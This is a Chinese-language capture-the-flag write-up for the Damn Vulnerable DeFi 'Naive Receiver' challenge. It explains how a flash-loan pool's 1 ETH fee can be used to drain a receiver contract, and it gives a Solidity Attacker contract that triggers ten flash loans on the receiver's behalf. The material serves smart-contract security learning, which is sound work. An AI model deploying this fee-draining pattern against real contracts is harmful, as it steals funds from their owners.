挑戰 #2 - 天真的接收者
天真的接收者
為了系統的學習 solidity 和 foundry,我基於 foundry 測試框架重新編寫 damnvulnerable-defi 的題解,歡迎交流和共建~🎉
合約#
- NaiveReceiverLenderPool:繼承 IERC3156FlashLender,提供閃電貸功能
- FlashLoanReceiver:繼承 IERC3156FlashBorrower,用於發起閃電貸接收回調
腳本#
- 部署 NaiveReceiverLenderPool 合約,向 pool 中轉入 1000eth,pool 的閃電貸手續費為 1eth
- 部署 FlashLoanReceiver 合約,向 receiver 中轉入 10eth
- 執行攻擊腳本
- 期望 receiver 中的餘額為 0,pool 中的餘額為 1000+10eth
題解#
攻擊目標是使得 receiver 中的餘額為空,因為每次通過 pool 執行閃電貸都需要 1eth 的手續費,因此只需通過 receiver 向 pool 執行十次閃電貸即可把 10eth 全部通過手續費的方式轉給 pool
根據題目要求,盡量在一筆交易完成,因此可以編寫合約在一筆交易中完成十次閃電貸
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../src/naive-receiver/FlashLoanReceiver.sol";
import "../../src/naive-receiver/NaiveReceiverLenderPool.sol";
import "openzeppelin-contracts/contracts/interfaces/IERC3156FlashBorrower.sol";
contract Attacker {
constructor(address payable _pool, address payable _receiver){
NaiveReceiverLenderPool pool = NaiveReceiverLenderPool(_pool);
for(uint256 i=0; i<10; i++){
pool.flashLoan(IERC3156FlashBorrower(_receiver), address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE), 1, "0x");
}
}
}